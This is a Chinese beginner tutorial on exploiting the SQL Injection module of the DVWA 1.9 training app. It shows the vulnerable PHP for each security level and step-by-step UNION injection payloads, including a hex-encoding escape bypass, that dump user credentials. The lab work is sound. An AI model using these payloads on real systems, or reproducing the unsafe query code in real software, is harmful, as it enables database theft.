新手指南：DVWA-1.9全級別教程之SQL Injection

阿新 • • 發佈：2017-09-12

escape index.php 偽造掌握 post 數字型註入初學者 hsl 攻擊

*本文原創作者：lonehand，轉載須註明來自FreeBuf.COM

目前，最新的DVWA已經更新到1.9版本（http://www.dvwa.co.uk/），而網上的教程大多停留在舊版本，且沒有針對DVWA high級別的教程，因此萌發了一個撰寫新手教程的想法，錯誤的地方還請大家指正。

DVWA簡介

DVWA（Damn Vulnerable Web Application）是一個用來進行安全脆弱性鑒定的PHP/MySQL Web應用，旨在為安全專業人員測試自己的專業技能和工具提供合法的環境，幫助web開發者更好的理解web應用安全防範的過程。

DVWA共有十個模塊，分別是

Brute Force

（暴力（破解））

Command Injection（命令行註入）

CSRF（跨站請求偽造）

File Inclusion（文件包含）

File Upload（文件上傳）

Insecure CAPTCHA （不安全的驗證碼）

SQL Injection（SQL註入）

SQL Injection（Blind）（SQL盲註）

XSS（Reflected）（反射型跨站腳本）

XSS（Stored）（存儲型跨站腳本）

需要註意的是，DVWA 1.9的代碼分為四種安全級別：Low，Medium，High，Impossible。初學者可以通過比較四種級別的代碼，接觸到一些PHP代碼審計的內容。

技術分享

DVWA的搭建

Freebuf上的這篇文章《新手指南：手把手教你如何搭建自己的滲透測試環境》（http://www.freebuf.com/sectool/102661.html）已經寫得非常好了，在這裏就不贅述了。

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

本文介紹SQL Injection模塊的相關內容，後續教程會在之後的文章中給出。

SQL Injection

SQL Injection，即SQL註入，是指攻擊者通過註入惡意的SQL命令，破壞SQL查詢語句的結構，從而達到執行惡意SQL語句的目的。

SQL註入漏洞的危害是巨大的，常常會導致整個數據庫被“脫褲”，盡管如此，SQL註入仍是現在最常見的Web漏洞之一。近期很火的大使館接連被黑事件，據說黑客依靠的就是常見的SQL註入漏洞。

手工註入思路

自動化的註入神器sqlmap固然好用，但還是要掌握一些手工註入的思路，下面簡要介紹手工註入（非盲註）的步驟。

1.判斷是否存在註入，註入是字符型還是數字型

2.猜解SQL查詢語句中的字段數

3.確定顯示的字段順序

4.獲取當前數據庫

5.獲取數據庫中的表

6.獲取表中的字段名

7.下載數據

下面對四種級別的代碼進行分析。

Low

服務器端核心代碼

<?php 

if( isset( $_REQUEST[ ‘Submit‘ ] ) ) { 
    // Get input 
    $id = $_REQUEST[ ‘id‘ ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = ‘$id‘;"; 
    $result = mysql_query( $query ) or die( ‘<pre>‘ . mysql_error() . ‘</pre>‘ ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
} 

?>

可以看到，Low級別的代碼對來自客戶端的參數id沒有進行任何的檢查與過濾，存在明顯的SQL註入。

漏洞利用

現實攻擊場景下，攻擊者是無法看到後端代碼的，所以下面的手工註入步驟是建立在無法看到源碼的基礎上。

1.判斷是否存在註入，註入是字符型還是數字型

輸入1，查詢成功：

技術分享

輸入1’and ‘1’ =’2，查詢失敗，返回結果為空：

技術分享

輸入1’or ‘1234 ’=’1234，查詢成功：

技術分享

返回了多個結果，說明存在字符型註入。

2.猜解SQL查詢語句中的字段數

輸入1′ or 1=1 order by 1 #，查詢成功：

技術分享

輸入1′ or 1=1 order by 2 #，查詢成功：

技術分享

輸入1′ or 1=1 order by 3 #，查詢失敗：

技術分享

說明執行的SQL查詢語句中只有兩個字段，即這裏的First name、Surname。

（這裏也可以通過輸入union select 1,2,3…來猜解字段數）

3.確定顯示的字段順序

輸入1′ union select 1,2 #，查詢成功：

技術分享

說明執行的SQL語句為select First name,Surname from 表 where ID=’id’…

4.獲取當前數據庫

輸入1′ union select 1,database() #，查詢成功：

技術分享

說明當前的數據庫為dvwa。

5.獲取數據庫中的表

輸入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #，查詢成功：

技術分享

說明數據庫dvwa中一共有兩個表，guestbook與users。

6.獲取表中的字段名

輸入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #，查詢成功：

技術分享

說明users表中有8個字段，分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下載數據

輸入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #，查詢成功：

技術分享

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數據。

Medium

服務器端核心代碼

<?php 

if( isset( $_POST[ ‘Submit‘ ] ) ) { 
    // Get input 
    $id = $_POST[ ‘id‘ ]; 
    $id = mysql_real_escape_string( $id ); 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
    $result = mysql_query( $query ) or die( ‘<pre>‘ . mysql_error() . ‘</pre>‘ ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Display values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    //mysql_close(); 
} 

?>

可以看到，Medium級別的代碼利用mysql_real_escape_string函數對特殊符號

\x00,\n,\r,\,’,”,\x1a進行轉義，同時前端頁面設置了下拉選擇表單，希望以此來控制用戶的輸入。

技術分享

漏洞利用

雖然前端使用了下拉選擇菜單，但我們依然可以通過抓包改參數，提交惡意構造的查詢參數。

1.判斷是否存在註入，註入是字符型還是數字型

抓包更改參數id為1′ or 1=1 #

技術分享

報錯：

技術分享

抓包更改參數id為1 or 1=1 #，查詢成功：

技術分享

說明存在數字型註入。

（由於是數字型註入，服務器端的mysql_real_escape_string函數就形同虛設了，因為數字型註入並不需要借助引號。）

2.猜解SQL查詢語句中的字段數

抓包更改參數id為1 order by 2 #，查詢成功：

技術分享

抓包更改參數id為1 order by 3 #，報錯：

技術分享

說明執行的SQL查詢語句中只有兩個字段，即這裏的First name、Surname。

3.確定顯示的字段順序

抓包更改參數id為1 union select 1,2 #，查詢成功：

技術分享

說明執行的SQL語句為select First name,Surname from 表 where ID=id…

4.獲取當前數據庫

抓包更改參數id為1 union select 1,database() #，查詢成功：

技術分享

說明當前的數據庫為dvwa。

5.獲取數據庫中的表

抓包更改參數id為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #，查詢成功：

技術分享

說明數據庫dvwa中一共有兩個表，guestbook與users。

6.獲取表中的字段名

抓包更改參數id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#，查詢失敗：

技術分享

這是因為單引號被轉義了，變成了\’。

可以利用16進制進行繞過，抓包更改參數id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #，查詢成功：

技術分享

說明users表中有8個字段，分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.下載數據

抓包修改參數id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #，查詢成功：

技術分享

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數據。

High

服務器端核心代碼

<?php 

if( isset( $_SESSION [ ‘id‘ ] ) ) { 
    // Get input 
    $id = $_SESSION[ ‘id‘ ]; 

    // Check database 
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;"; 
    $result = mysql_query( $query ) or die( ‘<pre>Something went wrong.</pre>‘ ); 

    // Get results 
    $num = mysql_numrows( $result ); 
    $i   = 0; 
    while( $i < $num ) { 
        // Get values 
        $first = mysql_result( $result, $i, "first_name" ); 
        $last  = mysql_result( $result, $i, "last_name" ); 

        // Feedback for end user 
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

        // Increase loop count 
        $i++; 
    } 

    mysql_close(); 
} 

?>

可以看到，與Medium級別的代碼相比，High級別的只是在SQL查詢語句中添加了LIMIT 1，希望以此控制只輸出一個結果。

漏洞利用

雖然添加了LIMIT 1，但是我們可以通過#將其註釋掉。由於手工註入的過程與Low級別基本一樣，直接最後一步演示下載數據。

輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #，查詢成功：

技術分享

需要特別提到的是，High級別的查詢提交頁面與查詢結果顯示頁面不是同一個，也沒有執行302跳轉，這樣做的目的是為了防止一般的sqlmap註入，因為sqlmap在註入過程中，無法在查詢提交頁面上獲取查詢的結果，沒有了反饋，也就沒辦法進一步註入。

技術分享

Impossible

服務器端核心代碼

<?php 

if( isset( $_GET[ ‘Submit‘ ] ) ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ ); 

    // Get input 
    $id = $_GET[ ‘id‘ ]; 

    // Was a number entered? 
    if(is_numeric( $id )) { 
        // Check the database 
        $data = $db->prepare( ‘SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;‘ ); 
        $data->bindParam( ‘:id‘, $id, PDO::PARAM_INT ); 
        $data->execute(); 
        $row = $data->fetch(); 

        // Make sure only 1 result is returned 
        if( $data->rowCount() == 1 ) { 
            // Get values 
            $first = $row[ ‘first_name‘ ]; 
            $last  = $row[ ‘last_name‘ ]; 

            // Feedback for end user 
            echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 
        } 
    } 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

可以看到，Impossible級別的代碼采用了PDO技術，劃清了代碼與數據的界限，有效防禦SQL註入，同時只有返回的查詢結果數量為一時，才會成功輸出，這樣就有效預防了“脫褲”，Anti-CSRFtoken機制的加入了進一步提高了安全性。

新手指南：DVWA-1.9全級別教程之SQL Injection

escape index.php 偽造掌握 post 數字型註入初學者 hsl 攻擊 *本文原創作者：lonehand，轉載須註明來自FreeBuf.COM 目前，最新的DVWA已經更新到1.9版本（http://www.dvwa.co.uk/），而網上的教程大多停

新手指南：DVWA-1.9全級別教程之SQL Injection

DVWA簡介

DVWA的搭建

SQL Injection

手工註入思路

Low

漏洞利用

1.判斷是否存在註入，註入是字符型還是數字型

2.猜解SQL查詢語句中的字段數

3.確定顯示的字段順序

4.獲取當前數據庫

5.獲取數據庫中的表

6.獲取表中的字段名

7.下載數據

Medium

漏洞利用

1.判斷是否存在註入，註入是字符型還是數字型

2.猜解SQL查詢語句中的字段數

3.確定顯示的字段順序

4.獲取當前數據庫

5.獲取數據庫中的表

6.獲取表中的字段名

7.下載數據

High

漏洞利用

Impossible

相關推薦